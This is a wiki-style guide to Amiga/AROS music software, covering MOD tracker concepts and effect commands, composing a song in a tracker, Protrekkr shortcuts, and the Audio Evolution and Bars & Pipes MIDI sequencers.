Generally, MODs are similar to MIDI in that they contain note on/off and other sequence messages that control the mod player. Unlike (most) midi files, however, they also contain sound samples that the sequence information actually plays. MOD files can have many channels (classic amiga mods have 4, corresponding to the inbuilt sound channels), but unlike MIDI, each channel can typically play only one note at once. However, since that note might be a sample of a chord, a drumloop or other complex sound, this is not as limiting as it sounds.

Like MIDI, notes will play indefinitely if they're not instructed to end. Most trackers record this information automatically if you play your music in live. If you're using manual note entry, you can enter a note-off command with a keyboard shortcut - usually Caps Lock.

In fact when considering file size MOD is not always the best option. Even a dummy song wastes few kilobytes for nothing when a simple SID tune could be few hundreds bytes and not bigger than 64kB. AHX is another small format, AHX tunes are never larger than 64kB excluding comments.

[https://www.youtube.com/watch?v=rXXsZfwgil Protrekkr] (previously aka [w:Juan_Antonio_Arguelles_Rius|NoiseTrekkr])

If Protrekkr does not start, please check if the Unit 0 has been setup in the AHI prefs and still not, go to the directory utilities/protrekkr and double click on the Protrekkr icon

*Sample
*Note - Effect 
*Track (column) - Pattern - Order

It all starts with the Sample which is used to create Note(s) in a Track (column of a tracker) 
The Note can be changed with an Effect.  A Track of Note(s) can be collected into a Pattern (section of a song) and these can be given Order to create the whole song.

Patience (notes have to be entered one at a time) or playing the bassline on a midi controller (faster - see midi section above).  Best approach is to wait until a melody popped into your head.

*Up-tempo means the track should be reasonably fast, but not super-fast. 
*Groovy and funky imply the track should have some sort of &quot;swing&quot; feel, with plenty of syncopation or off beat emphasis and a recognizable, melodic bass line. 
*Sweet and happy mean upbeat melodies, a major key and avoiding harsh sounds.
*Moody - minor key

First, create a quick bass sound, which is basically a sine wave, but can be hand drawn for a little more variance. It could also work for the melody part, too.

This is usually a bass guitar or some kind of synthesizer bass. The bass line is often forgotten by inexperienced composers, but it plays an important role in a musical piece. Together with the rhythm section the bass line forms the groove of a song. It's the glue between the rhythm section and the melodic layer of a song.

The drums are just pink noise samples, played at different frequencies to get a slightly different sound for the kick, snare, and hihats.

Instruments that fall into the rhythm category are bass drums, snares, hi-hats, toms, cymbals, congas, tambourines, shakers, etc. Any percussive instrument can be used to form part of the rhythm section.

The lead is the instrument that plays the main melody, on top of the chords. There are many instruments that can play a lead section, like a guitar, a piano, a saxophone or a flute. The list is almost endless. There is a lot of overlap with instruments that play chords. Often in one piece an instrument serves both roles. The lead melody is often played at a higher pitch than the chords.

Listened back to what was produced so far, and a counter-melody can be imagined, which can be added with a triangle wave.

To give the ends of phrases some life, you can add a solo part with a crunchy synth. By hitting random notes in the key of G, then edited a few of them.

For the climax of the song, filled out the texture with a gentle high-pitch pad… …and a grungy bass synth.


The arrow at A points at the pattern order list. As you see, the patterns don't have to be in numerical order. This song starts with pattern &quot;00&quot;, then pattern &quot;02&quot;, then &quot;03&quot;, then &quot;01&quot;, etcetera. Patterns may be repeated throughout a song.

The B arrow points at the song title. Below it are the global BPM and speed parameters. These determine the tempo of the song, unless the tempo is altered through effect commands during the song.

The C arrow points at the list of instruments. An instrument may consist of multiple samples. Which sample will be played depends on the note. This can be set in the Instrument Editing screen. Most instruments will consist of just one sample, though. The sample list for the selected instrument can be found under arrow D.

Here's a part of the main editing screen. This is where you put in actual notes. Up to 32 channels can be used, meaning 32 sounds can play simultaneously. The first six channels of pattern &quot;03&quot; at order &quot;02&quot; are shown here. The arrow at A points at the row number. The B arrow points at the note to play, in this case a C4. The column pointed at by the C arrow tells us which instrument is associated with that note, in this case instrument #1 &quot;Kick&quot;.

The column at D is used (mainly) for volume commands. In this case it is left empty which means the instrument should play at its default volume. You can see the volume column being used in channel #6.

The E column tells us which effect to use and any parameters for that effect. In this case it holds the &quot;F&quot; effect, which is a tempo command. The &quot;04&quot; means it should play at tempo 4 (a smaller number means faster).

Base pattern

When I create a new track I start with what I call the base pattern. It is worthwhile to spend some time polishing it as a lot of the ideas in the base pattern will be copied and used in other patterns. At least, that's how I work. Every musician will have his own way of working. In &quot;Wild Bunnies&quot; the base pattern is pattern &quot;03&quot; at order &quot;02&quot;.

In the section about selecting samples I talked about the four different categories of instruments: drums, bass, chords and leads. That's also how I usually go about making the base pattern. I start by making a drum pattern, then add a bass line, place some chords and top it off with a lead. This forms the base pattern from which the rest of the song will grow.


Drums

Here's a screenshot of the first four rows of the base pattern. I usually reserve the first four channels or so for the drum instruments. Right away there are a couple of tricks shown here. In the first channel the kick, or bass drum, plays some notes. Note the alternating F04 and F02 commands. The &quot;F&quot; command alters the tempo of the song and by quickly alternating the tempo; the song will get some kind of &quot;swing&quot; feel.

In the second channel the closed hi-hat plays a fairly simple pattern. Further down in the channel, not shown here, some open hi-hat notes are added for a bit of variation.

In the third and fourth channel the snare sample plays. The &quot;8&quot; command is for panning. One note is panned hard to the left and the other hard to the right. One sample is played a semitone lower than the other. This results in a cool flanging effect. It makes the snare stand out a little more in the mix.


Bass line

There are two different instruments used for the bass line. Instrument #6 is a pretty standard synthesized bass sound. Instrument #A sounds a bit like a slap bass when used with a quick fade out. By using two different instruments the bass line sounds a bit more ”human”. The volume command is used to cut off the notes. However, it is never set to zero. Setting the volume to a very small value will result in a reverb-like effect. This makes the song sound more &quot;live&quot;.

The bass line hints at the chords that will be played and the key the song will be in. In this case the key of the song is D-major, a positive and happy key.


Chords

The D major chords that are being played here are chords stabs; short sounds with a quick decay (fade out). Two different instruments (#8 and #9) are used to form the chords. These instruments are quite similar, but have a slightly different sound, panning and volume decay. Again, the reason for this is to make the sound more human. The volume command is used on some chords to simulate a delay, to achieve more of a live feel. The chords are placed off-beat making for a funky rhythm.


Lead

Finally the lead melody is added. The other instruments are invaluable in holding the track together, but the lead melody is usually what catches people's attention.

A lot of notes and commands are used here, but it looks more complex than it is. A stepwise ascending melody plays in channel 13. Channel 14 and 15 copy this melody, but play it a few rows later at a lower volume. This creates an echo effect. A bit of panning is used on the notes to create some stereo depth. Like with the bass line, instead of cutting off notes the volume is set to low values for a reverb effect. The &quot;461&quot; effect adds a little vibrato to the note, which sounds nice on sustained notes.

Those paying close attention may notice the instrument used here for the lead melody is the same as the one used for the bass line (#6 &quot;Square&quot;), except played two or three octaves higher. This instrument is a looped square wave sample. Each type of wave has its own quirks, but the square wave (shown below) is a really versatile wave form.

Song structure

Good, catchy songs are often carefully structured into sections, some of which are repeated throughout the song with small variations.

A typical pop-song structure is: Intro - Verse - Chorus - Verse - Chorus - Bridge - Chorus.

Other single sectional song structures are

&lt;pre&gt;
Strophic or AAA Song Form - oldest story telling with refrain (often title of the song) repeated in every verse section melody 
AABA Song Form - early popular, jazz and gospel fading during the 1960s 
AB or Verse/Chorus Song Form - songwriting format of choice for modern popular music since the 1960s 
Verse/Chorus/Bridge Song Form
ABAB Song Form
ABAC Song Form
ABCD Song Form
AAB 12-Bar Song Form - three four-bar lines or sub-sections 
8-Bar Song Form
16-Bar Song Form
Hybrid / Compound Song Forms
&lt;/pre&gt;

The most common building blocks are:

#INTRODUCTION(INTRO)
#VERSE
#REFRAIN
#PRE-CHORUS / RISE / CLIMB
#CHORUS
#BRIDGE
#MIDDLE EIGHT
#SOLO / INSTRUMENTAL BREAK
#COLLISION
#CODA / OUTRO
#AD LIB (OFTEN IN CODA / OUTRO)

The chorus usually has more energy than the verse and often has a memorable melody line. As the chorus is repeated the most often during the song, it will be the part that people will remember.

The bridge often marks a change of direction in the song. It is not uncommon to change keys in the bridge, or at least to use a different chord sequence. The bridge is used to build up tension towards the big finale, the last repetition of chorus.


 Playing

RCTRL:                           Play song from row 0.

LSHIFT + RCTRL:                  Play song from current row.

RALT:                            Play pattern from row 0.

LSHIFT + RALT:                   Play pattern from current row.

Left mouse on '&gt;':               Play song from row 0.

Right mouse on '&gt;':              Play song from current row.

Left mouse on '|&gt;':              Play pattern from row 0.

Right mouse on '|&gt;':             Play pattern from current row.

Left mouse on 'Edit/Record':     Edit mode on/off.

Right mouse on 'Edit/Record':    Record mode on/off.


 Editing 


LSHIFT + ESCAPE:                 Switch large patterns view on/off

TAB:                    Go to next track

LSHIFT + TAB:                    Go to prev. track

LCTRL + TAB:                    Go to next note in track

LCTRL + LSHIFT + TAB:           Go to prev. note in track

SPACE:                           Toggle Edit mode On &amp; Off

(Also stop if the song is being played)

SHIFT SPACE:                     Toggle Record mode On &amp; Off

(Wait for a key note to be pressed

or a midi in message to be received)

DOWN ARROW:                      1 Line down

UP ARROW:                        1 Line up

LEFT ARROW:                      1 Row left

RIGHT ARROW:                     1 Row right

PREV. PAGE:                      16 Arrows Up

NEXT PAGE:                       16 Arrows Down

HOME / END:                      Top left / Bottom right of pattern

LCTRL + HOME / END:              First / last track

F5, F6, F7, F8, F9:              Jump to 0, 1/4, 2/4, 3/4, 4/4 lines of the patterns

+ - (Numeric keypad):           Next / Previous pattern

LCTRL + LEFT / RIGHT:           Next / Previous pattern

LCTRL + LALT + LEFT / RIGHT:    Next / Previous position

LALT + LEFT / RIGHT:           Next / Previous instrument

LSHIFT + M:                      Toggle mute state of the current channel

LCTRL + LSHIFT + M:             Solo the current track / Unmute all

LSHIFT + F1 to F11:              Select a tab/panel

LCTRL + 1 to 4:                 Select a copy buffer


 Tracking 

1st and 2nd keys rows:           Upper octave row

3rd and 4th keys rows:           Lower octave row

RSHIFT:                          Insert a note off

/ and * (Numeric keypad)

or F1 F2:                        -1 or +1 octave

INSERT / BACKSPACE:              Insert or Delete a line in current track

or current selected block.

LSHIFT + INSERT / BACKSPACE:     Insert or Delete a line in current pattern

DELETE (NOT BACKSPACE):          Empty a column or a selected block.


 Blocks

(Blocks can also be selected with the mouse by holding the right button and scrolling the pattern with the mouse wheel).


LCTRL + A:          Select entire current track

LCTRL + LSHIFT + A: Select entire current pattern

LALT + A:          Select entire column note in a track

LALT + LSHIFT + A: Select all notes of a track

LCTRL + X:          Cut the selected block and copy it into the block-buffer

LCTRL + C:          Copy the selected block into the block-buffer

LCTRL + V:          Paste the data from the block buffer into the pattern

LCTRL + I:          Interpolate selected data from the first to the last row of a selection

LSHIFT + ARROWS

PREV. PAGE

NEXT PAGE: Select a block

LCTRL + R:          Randomize the select columns of a selection, works similar to CTRL + I (interpolating them)

LCTRL + U:          Transpose the note of a selection to 1 seminote higher

LCTRL + D:          Transpose the note of a selection to 1 seminote lower

LCTRL + LSHIFT + U: Transpose the note of a selection to 1 seminote higher (only for the current instrument)

LCTRL + LSHIFT + D: Transpose the note of a selection to 1 seminote lower  (only for the current instrument)

LCTRL + H:          Transpose the note of a selection to 1 octave higher

LCTRL + L:          Transpose the note of a selection to 1 octave lower

LCTRL + LSHIFT + H: Transpose the note of a selection to 1 octave higher (only for the current instrument)

LCTRL + LSHIFT + L: Transpose the note of a selection to 1 octave lower (only for the current instrument)

LCTRL + W:          Save the current selection into a file


 Misc 


LALT + ENTER:     Switch between full screen / windowed mode

LALT + F4:        Exit program (Windows only)

LCTRL + S:         Save current module

LSHIFT + S:         Switch top right panel to synths list

LSHIFT + I:         Switch top right panel to instruments list


&lt;pre&gt;
C-x   xh xx xx hhhh             Volume 
B-x   xh xx xx hhhh             Jump to 
A#x  xh xx xx hhhh hhhh   Slide 
F-x    xh xx xx hhhh            Tempo 
D-x   xh xx xx hhhh             Pattern Break 
G#x  xh xx xx hhhh
&lt;/pre&gt;

h Hex 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13

d Dec 01 02 03 04 05 06 07 08 09 10  11 12 13 14 15 16 17 18 19

The Set Volume command: C. Input a note, then move the cursor to the effects command column and type a C. Play the pattern, and you shouldn't be able to hear the note you placed the C by. This is because the effect parameters are 00. Change the two zeros to a 40(Hex)/64(Dec), depending on what your tracker uses. Play back the pattern again, and the note should come in at full volume.

The Position Jump command next. This is just a B followed by the position in the playing list that you want to jump to. One thing to remember is that the playing list always starts at 0, not 1. This command is usually in Hex.

Onto the volume slide command: A. This is slightly more complex (much more if you're using a newer tracker, if you want to achieve the results here, then set slides to Amiga, not linear), due to the fact it depends on the secondary tempo. For now set a secondary tempo of 06 (you can play around later), load a long or looped sample and input a note or two. A few rows after a note type in the effect command A. For the parameters use 0F. Play back the pattern, and you should notice that when the effect kicks in, the sample drops to a very low volume very quickly. Change the effect parameters to F0, and use a low volume command on the note. Play back the pattern, and when the slide kicks in the volume of the note should increase very quickly.
This because each part of the effect parameters for command A does a different thing. The first number slides the volume up, and the second slides it down. It's not recommended that you use both a volume up and volume down at the same time, due to the fact the tracker only looks for the first number that isn't set to 0. If you specify parameters of 8F, the tracker will see the 8, ignore the F, and slide the volume up. Using a slide up and down at same time just makes you look stupid. Don't do it...

The Set Tempo command: F, is pretty easy to understand. You simply specify the BPM (in Hex) that you want to change to. One important thing to note is that values of lower than 20 (Hex) sets the secondary tempo rather than the primary.

Another useful command is the Pattern Break: D. This will stop the playing of the current pattern and skip to the next one in the playing list. By using parameters of more than 00 you can also specify which line to begin playing from.

Command 3 is Portamento to Note. This slides the currently playing note to another note, at a specified speed. The slide then stops when it reaches the desired note. 
&lt;pre&gt;
   C-2 1 000 - Starts the note playing
   ---      000
   C-3    330 - Starts the slide to C-3 at a speed of 30.
   ---     300 - Continues the slide
   ---     300 - Continues the slide
&lt;/pre&gt;
Once the parameters have been set, the command can be input again without any parameters, and it'll still perform the same function unless you change the parameters. This memory function allows certain commands to function correctly, such as command 5, which is the Portamento to Note and Volume Slide command. Once command 3 has been set up command 5 will simply take the parameters from that and perform a Portamento to Note. Any parameters set up for command 5 itself simply perform a Volume Slide identical to command A at the same time as the Portamento to Note.

This memory function will only operate in the same channel where the original parameters were set up.
There are various other commands which perform two functions at once. They will be described as we come across them.

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  00

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  02

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  05

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  08

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  0A

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  0D

C-3  04  ..  ..  09  10 ---&gt; C-3  04  ..  ..  09  10

(You can also switch on the Slider Rec to On, and perform parameter-live-recording, such as cutoff transitions, resonance or panning tweaking, etc..)  Note: this command only works for volume/panning and fx datas columns.


The next command we'll look at is the Portamento up/down: 1 and 2. Command 1 slides the pitch up at a specified speed, and 2 slides it down. This command works in a similar way to the volume slide, in that it is dependent on the secondary tempo. Both these commands have a memory dependent on each other, if you set the slide to a speed of 3 with the 1 command, a 2 command with no parameters will use the speed of 3 from the 1 command, and vice versa.

Command 4 is Vibrato. Vibrato is basically rapid changes in pitch, just try it, and you'll see what I mean. Parameters are in the format of xy, where x is the speed of the slide, and y is the depth of the slide. One important point to remember is to keep your vibratos subtle and natural so a depth of 3 or less and a reasonably fast speed, around 8, is usually used. Setting the depth too high can make the part sound out of tune from the rest.
Following on from command 4 is command 6. This is the Vibrato and Volume Slide command, and it has a memory like command 5, which you already know how to use.

Command 7 is Tremolo. This is similar to vibrato. Rather than changing the pitch it slides the volume. The effect parameters are in exactly the same format.   vibrato effect (0x1dxy) x = speed y = depth (can't be used if arpeggio (0x1b) is turned on) 

&lt;pre&gt;
 C-7 00 .. .. 1B37 &lt;-  Turn Arpeggio effect on
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 1B38 &lt;- Change datas
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 1B00 &lt;- Turn it off
&lt;/pre&gt;

Command 9 is Sample Offset. This starts the playback of the sample from a different place than the start. The effect parameters specify the sample offset, but only very roughly. Say you have a sample which is 8765(Hex) bytes long, and you wanted it to play from position 4321(Hex). The effect parameter could only be as accurate as the 43 part, and it would ignore the 21.

Command B is the Playing List/Order Jump command. The parameters specify the position in the Playing List/Order to jump to. When used in conjunction with command D you can specify the position and the line to play from.

Command E is pretty complex, as it is used for a lot of different things, depending on what the first parameter is. Let's take a trip through each effect in order.
Command E0 controls the hardware filter on an Amiga, which, as a low pass filter, cuts off the highest frequencies being played back. There are very few players and trackers on other system that simulate this function, not that you should need to use it. The second parameter, if set to 1, turns on the filter. If set to 0, the filter gets turned off.

Commands E1/E2 are Fine Portamento Up/Down. Exactly the same functions as commands 1/2, except that they only slide the pitch by a very small amount. These commands have a memory the same as 1/2 as well.

Command E3 sets the Glissando control. If parameters are set to 1 then when using command 3, any sliding will only use the notes in between the original note and the note being slid to. This produces a somewhat jumpier slide than usual. The best way to understand is to try it out for yourself. Produce a slow slide with command 3, listen to it, and then try using E31.

Command E4 is the Set Vibrato Waveform control. This command controls how the vibrato command slides the pitch. Parameters are 0 - Sine, 1 - Ramp Down (Saw), 2 - Square. By adding 4 to the parameters, the waveform will not be restarted when a new note is played e.g. 5 - Sine without restart.

Command E5 sets the Fine Tune of the instrument being played, but only for the particular note being played. It will override the default Fine Tune for the instrument. The parameters range from 0 to F, with 0 being -8 and F being +8 Fine Tune. A parameter of 8 gives no Fine Tune. If you're using a newer tracker that supports more than -8 to +8 e.g. -128 to +128, these parameters will give a rough Fine Tune, accurate to the nearest 16.

Command E6 is the Jump Loop command. You mark the beginning of the part of a pattern that you want to loop with E60, and then specify with E6x the end of the loop, where x is the number of times you want it to loop.

Command E7 is the Set Tremolo Waveform control. This has exactly the same parameters as command E4, except that it works for Tremolo rather than Vibrato.

Command E9 is for Retriggering the note quickly. The parameter specifies the interval between the retrigs. Use a value of less than the current secondary tempo, or else the note will not get retrigged.

Command EA/B are for Fine Volume Slide Up/Down. Much the same as the normal Volume Slides, except that these are easier to control since they don't depend on the secondary tempo. The parameters specify the amount to slide by e.g. if you have a sample playing at a volume of 08 (Hex) then the effect EA1 will slide this volume to 09 (Hex). A subsequent effect of EB4 would slide this volume down to 05 (Hex).

Command EC is the Note Cut. This sets the volume of the currently playing note to 0 at a specified tick. The parameters should be lower than the secondary tempo or else the effect won't work.

Command ED is the Note Delay. This should be used at the same time as a note is to be played, and the parameters will specify the number of ticks to delay playing the note. Again, keep the parameters lower than the secondary tempo, or the note won't get played!

Command EE is the Pattern Delay. This delays the pattern for the amount of time it would take to play a certain number of rows. The parameters specify how many rows to delay for.

Command EF is the Funk Repeat command. Set the sample loop to 0-1000. When EFx is used, the loop will be moved to 1000- 2000, then to 2000-3000 etc. After 9000-10000 the loop is set back to 0- 1000. The speed of the loop &quot;movement&quot; is defined by x. E is two times as slow as F, D is three times as slow as F etc. EF0 will turn the Funk Repeat off and reset the loop (to 0-1000).

effects 0x41 and 0x42 to control the volumes of the 2 303 units

There is a dedicated panel for synth parameter editing with coherent sections (osc, filter modulation, routing, so on) the interface is much nicer, much better to navigate with customizable colors, the reverb is now customizable (10 delay lines), It accepts newer types of Waves (higher bit rates, at least 24). Has a replay routine.

It's pretty much your basic VA synth. The problem isn't with the sampler being to high it's the synth is tuned two octaves too low, but if you want your samples tuned down just set the base note down 2 octaves (in the instrument panel).

so the synth is basically divided into 3 sections from left to right: oscillators/envelopes, then filter and LFO's, and in the right column you have mod routings and global settings.

for the oscillator section you have two normal oscillators (sine, saw, square, noise), the second of which is tunable, the first one tunes with the key pressed. Attached to OSC 1 is a sub-oscillator, which is a sawtooth wave tuned one octave down. The phase modulation controls the point in the duty cycle at which the oscillator starts. The ADSR envelope sliders (grouped with oscs) are for modulation envelope 1 and 2 respectively. you can use the synth as a sampler by choosing the instrument at the top.

In the filter column, the filter settings are: 1 = lowpass, 2 = highpass, 3 = off. cutoff and resonance. For the LFOs they are LFO 1 and LFO 2, the ADSR sliders in those are for the LFO itself.

For the modulation routings you have ENV 1, LFO 1 for the first slider and ENV 2, LFO 2 for the second, you can cycle through the individual routings there, and you can route each modulation source to multiple destinations of course, which is another big plus for this synth. Finally the glide time is for portamento and master volume, well, the master volume... it can go quite loud.

The sequencer is changed too, It's more like the one in AXS if you've used that, where you can mute tracks to re-use patterns with variation.


&lt;pre&gt;
Support for the following modules formats:
669 (Composer 669, Unis 669), 
AMF (DSMI Advanced Module Format), 
AMF (ASYLUM Music Format V1.0), 
APUN (APlayer), DSM (DSIK internal format), 
FAR (Farandole Composer), 
GDM (General DigiMusic), 
IT (Impulse Tracker), 
IMF (Imago Orpheus), 
MOD (15 and 31 instruments), 
MED (OctaMED), 
MTM (MultiTracker Module editor), 
OKT (Amiga Oktalyzer), 
S3M (Scream Tracker 3), 
STM (Scream Tracker), 
STX (Scream Tracker Music Interface Kit), 
ULT (UltraTracker), 
UNI (MikMod), 
XM (FastTracker 2),
Mid (midi format via timidity)
&lt;/pre&gt;


Possible plugin options include [http://lv2plug.in/ LV2],


====Midi - Musical Instrument Digital Interface====

A midi file typically contains music that plays on up to 16 channels (as per the midi standard), but many notes can simultaneously play on each channel (depending on the limit of the midi hardware playing it).

'''Timidity'''

Although usually already installed, you can uncompress the [http://www.libsdl.org/projects/SDL_mixer/ timidity.tar.gz (14MB)] into a suitable drawer like below's SYS:Extras/Audio/ 
 assign timidity: SYS:Extras/Audio/timidity
added to SYSːs/User-Startup

'''WildMidi playback'''


'''Audio Evolution 4 (2003) 4.0.23 (from 2012)'''


*Sync Menu    - CAMD Receive, Send checked 
*Options Menu - MIDI Machine Control - Midi Bar Display - Select CAMD MIDI in / out - Midi Remote Setup 


MCB Master Control Bus 
*Sending a MIDI start-command and a Song Position Pointer, you can synchronize audio with an external MIDI sequencer (like B&amp;P). 
*B&amp;P Receive, start AE, add AudioEvolution.ptool in Bars&amp;Pipes track, press play / record in AE then press play in Pipes 
*CAMD Receive, receive MIDI start or continue commands via camd.library sync to AE 


*MIDI Machine Control
*Midi Bar Display 
*Select CAMD MIDI in / out
*Midi Remote Setup - open requester for external MIDI controllers to control app mixer and transport controls cc remotely 
 Channel   - mixer(vol, pan, mute, solo), eq, aux, fx, 
 Subgroup  - Volume, Mute, Solo 
 Transport - Start, End, Play, Stop, Record, Rewind, Forward 
 Misc      - Master vol., Bank Down, Bank up 


&lt;pre&gt;
q        - quit 

First 3 already opened when AE started 
F1       - timeline window
F2       - mixer 
F3       - control 
F4       - subgroups 
F5       - aux returns 
F6       - sample list 

i        - Load sample to use 

space    - start/stop play 
b        - reset time 0:00


s        - split mode 
r        - open recording window 
a        - automation edit mode with p panning, m mute and v volume 


[ / ]    - zoom in / out 
:        - previous track
*        - next track 

x c v f  - cut copy paste cross-fade 
g        - snap grid 


&lt;/pre&gt;


 '''[http://bnp.hansfaust.de/ Bars n Pipes sequencer]'''

 BarsnPipes debug ... in shell 

Menu (right mouse)  
*Song        - Songs load and save in .song format but option here to load/save Midi_Files .mid in FORMAT0 or FORMAT1 
*Track       - 
*Edit        -
*Tool        - 
*Timing      - SMTPE Synchronizing 
*Windows     - 
*Preferences - Multiple MIDI-in option 

Windows (some of these are usually already opened when Bars n Pipes starts up for the first time) 
*Workflow -&gt; Tracks, .... Song Construction, Time-line Scoring, Media Madness, Mix Maestro, 
*Control  -&gt; Transport (or mini one), Windows (which collects all the Windows icons together-shortcut), .... Toolbox, Accessories, Metronome, 

Once you have your windows placed on the screen that suits your workflow, Song -&gt; Save as Default will save the positions, colors, icons, etc as you'd like them 

If you need a particular setup of Tracks, Tools, Tempos etc, you save them all as a new song you can load each time 

Right mouse menu -&gt; Preferences -&gt; Environment... -&gt; ScreenMode  - Linkages for Synch (to Slave) usbmidi.out.0 and Send (Master) usbmidi.in.0 - Clock MTC 


'''Tracks'''

#Double-click on B&amp;P's icon. B&amp;P will then open with an empty Song. You can also double-click on a song icon to open a song in B&amp;P.
#Choose a track. The B&amp;P screen will contain a Tracks Window with a number of tracks shown as pipelines (Track 1, Track 2, etc...). To choose a track, simply click on the gray box to show an arrow-icon to highlight it. This icon show whether a track is chosen or not. To the right of the arrow-icon, you can see the icon for the midi-input. If you double-click on this icon you can change the MIDI-in setup.
#Choose Record for the track. To the right of the MIDI-input channel icon you can see a pipe. This leads to another clickable icon with that shows either P, R or M. This stands for Play, Record or Merge. To change the icon, simply click on it. If you choose P, this track can only play the track (you can't record anything). If you choose R, you can record what you play and it overwrites old stuff in the track. If you choose M, you merge new records with old stuff in the track. Choose R now to be able to make a record.
#Chose MIDI-channel. On the most right part of the track you can see an icon with a number in it. This is the MIDI-channel selector. Here you must choose a MIDI-channel that is available on your synthesizer/keyboard. If you choose General MIDI channel 10, most synthesizer will play drum sounds. To the left of this icon is the MIDI-output icon. Double-click on this icon to change the MIDI-output configuration.
#Start recording. The next step is to start recording. You must then find the control buttons (they look like buttons on a CD-player). To be able to make a record. you must click on the R icon. You can simply now press the play button (after you have pressed the R button) and play something on you keyboard. To playback your composition, press the Play button on the control panel.
#Edit track. To edit a track, you simply double click in the middle part of a track. You will then get a new window containing the track, where you can change what you have recorded using tools provided. Take also a look in the drop-down menus for more features.


Videos to help understand [https://www.youtube.com/watch?v=A6gVTX-9900 small intro], [https://www.youtube.com/watch?v=abq_rUTiSA4&amp;t=3s Overview], [https://www.youtube.com/watch?v=ixOVutKsYQo Workplace Setup CC PC Sysex], [https://www.youtube.com/watch?v=dDnJLYPaZTs Import Song], [https://www.youtube.com/watch?v=BC3kkzPLkv4 Tempo Mapping], [https://www.youtube.com/watch?v=sd23kqMYPDs ptool Arpeggi-8], [https://www.youtube.com/watch?v=LDJq-YxgwQg  PlayMidi Song], [https://www.youtube.com/watch?v=DY9Pu5P9TaU Amiga Midi], [https://www.youtube.com/watch?v=abq_rUTiSA4 Learning Amiga bars and Pipes], 

Groups like [https://groups.io/g/barsnpipes/topics this] could help 


'''Tracks window'''

* blue &quot;1 2 3 4 5 6 7 8 Group&quot; and transport tape deck VCR-type controls
* Flags 
* [http://theproblem.alco-rhythm.com/org/bp.html Track 1, Track2, to Track 16, on each Track there are many options that can be activated] 

Each Track has a 

*Left LHS  - Click in grey box to select what Track to work on, Midi-In ptool icon should be here (5pin plug icon), and many more from the Toolbox on the Input Pipeline 
*Middle    - (P, R, M) Play, Record, Merge/Multi before the sequencer line and a blue/red/yellow (Thru Mute Play) Tap 
*Right RHS - Output pipeline, can have icons placed uopn it with the final ptool icon(s) being the 5pin icon symbol for Midi-OUT 

Clogged pipelines may need Esc pressed several times 


'''Toolbox (tools affect the chosen pipeline)'''

After opening the Toolbox window you can add extra Tools (.ptool) for the pipelines like keyboard(virtual), midimonitor, quick patch, transpose, triad, (un)quantize, feedback in/out, velocity etc
 right mouse -&gt; Toolbox menu option -&gt; Install Tool... and navigate to Tool drawer (folder) and select requried .ptool 

Accompany B tool to get some sort of rythmic accompaniment, Rythm Section and Groove Quantize are examples of other tools that make use of rythms
[https://aminet.net/search?query=bars Bars &amp; Pipes pattern format .ptrn] for drawer (folder). Load from the Menu as Track or Group 


'''Accessories (affect the whole app)''' 

Accessories -&gt; Install... and goto the Accessories drawer for .paccess like adding ARexx scripting support 


'''Song Construction'''
&lt;pre&gt;
F1  Pencil
F2  Magic Wand
F3  Hand 
F4  Duplicator 
F5  Eraser 
F6  Toolpad 
F7  Bounding box 
F8  Lock to A-B-A 

A-B-A strip, section, edit flags, white boxes, 

&lt;/pre&gt;


Bars&amp;Pipes Professional offers three track formats; basic song tracks, linear tracks — which don't loop — and finally real‑time tracks. The difference between them is that both song and linear tracks respond to tempo changes, while real‑time tracks use absolute timing, always trigger at the same instant regardless of tempo alterations 

'''Tempo Map'''

F1  Pencil
F2  Magic Wand
F3  Hand 
F4  Eraser 
F5  Curve 
F6  Toolpad 


Compositions

Lyrics, Key, Rhythm, Time Signature 

'''Master Parameters'''

Key, Scale/Mode

'''Track Parameters'''

Dynamics 


'''Time-line Scoring'''


'''Media Madness'''


'''Mix Maestro'''


*ACCESSORIES         Allows the importation of other packages and additional modules 
*CLIPBOARD           Full cut, copy and paste operations, enabling user‑definable clips to be shared between tracks.
*INFORMATION         A complete rundown on the state of the current production and your machine.
*MASTER PARAMETERS   Enables global definition of time signatures, lyrics, scales, chords, dynamics and rhythm changes.
*MEDIA MADNESS       A complete multimedia sequencer which allows samples, stills, animation, etc 
*METRONOME           Tempo feedback via MIDI, internal Amiga audio and colour cycling — all three can be mixed and matched as required.
*MIX MAESTRO         Completely automated mixdown with control for both volume and pan. All fader alterations are memorised by the software 
*RECORD ACTIVATION   Complete specification of the data to be recorded/merged. Allows overdubbing of pitch‑bend, program changes, modulation etc
*SET FLAGS           Numeric positioning of location and edit flags in either SMPTE or musical time 
*SONG CONSTRUCTION   Large‑scale cut and paste of individual measures, verses or chorus, by means of bounding box and drag‑n‑drop mouse selections
*TEMPO MAP           Tempo change using a variety of linear and non‑linear transition curves 
*TEMPO PALETTE       Instant tempo changes courtesy of four user‑definable settings.
*TIMELINE SCORING    Sequencing of a selection of songs over a defined period — ideal for planning an entire set for a live performance.
*TOOLBOX             Selection screen for the hundreds of signal‑processing tools available 
*TRACKS              Opens the main track window to enable recording, editing and the use of tools.
*TRANSPORT           Main playback control window, which also provides access to user‑ defined flags, loop and punch‑in record modes.


Bars and Pipes Pro 2.5 is using internal 4-Byte IDs, to check which kind of data are currently processed.
Especially in all its files the IDs play an important role. The IDs are stored into the file in the same order they are laid out in the memory.

In a Bars 'N' Pipes file (no matter which kind) the ID &quot;NAME&quot; (saved as its ANSI-values) is stored on a big endian system (68k-computer) as &quot;NAME&quot;. On a little endian system (x86 PC computer) as &quot;EMAN&quot;.  The target is to make the AROS-BnP compatible to songs, which were stored on a 68k computer (AMIGA).

If possible, setting MIDI channels for Local Control for your keyboard 

http://www.fromwithin.com/liquidmidi/archive.shtml


MIDI files are essentially a stream of event data. An event can be many things, but typically &quot;note on&quot;, &quot;note off&quot;, &quot;program change&quot;, &quot;controller change&quot;, or messages that instruct a MIDI compatible synth how to play a given bit of music.

* Channel     - 1 to 16 -
* Messages    - PC presets, CC effects like delays, reverbs,  etc 
* Sequencing  - MIDI instruments, Drums, Sound design, 
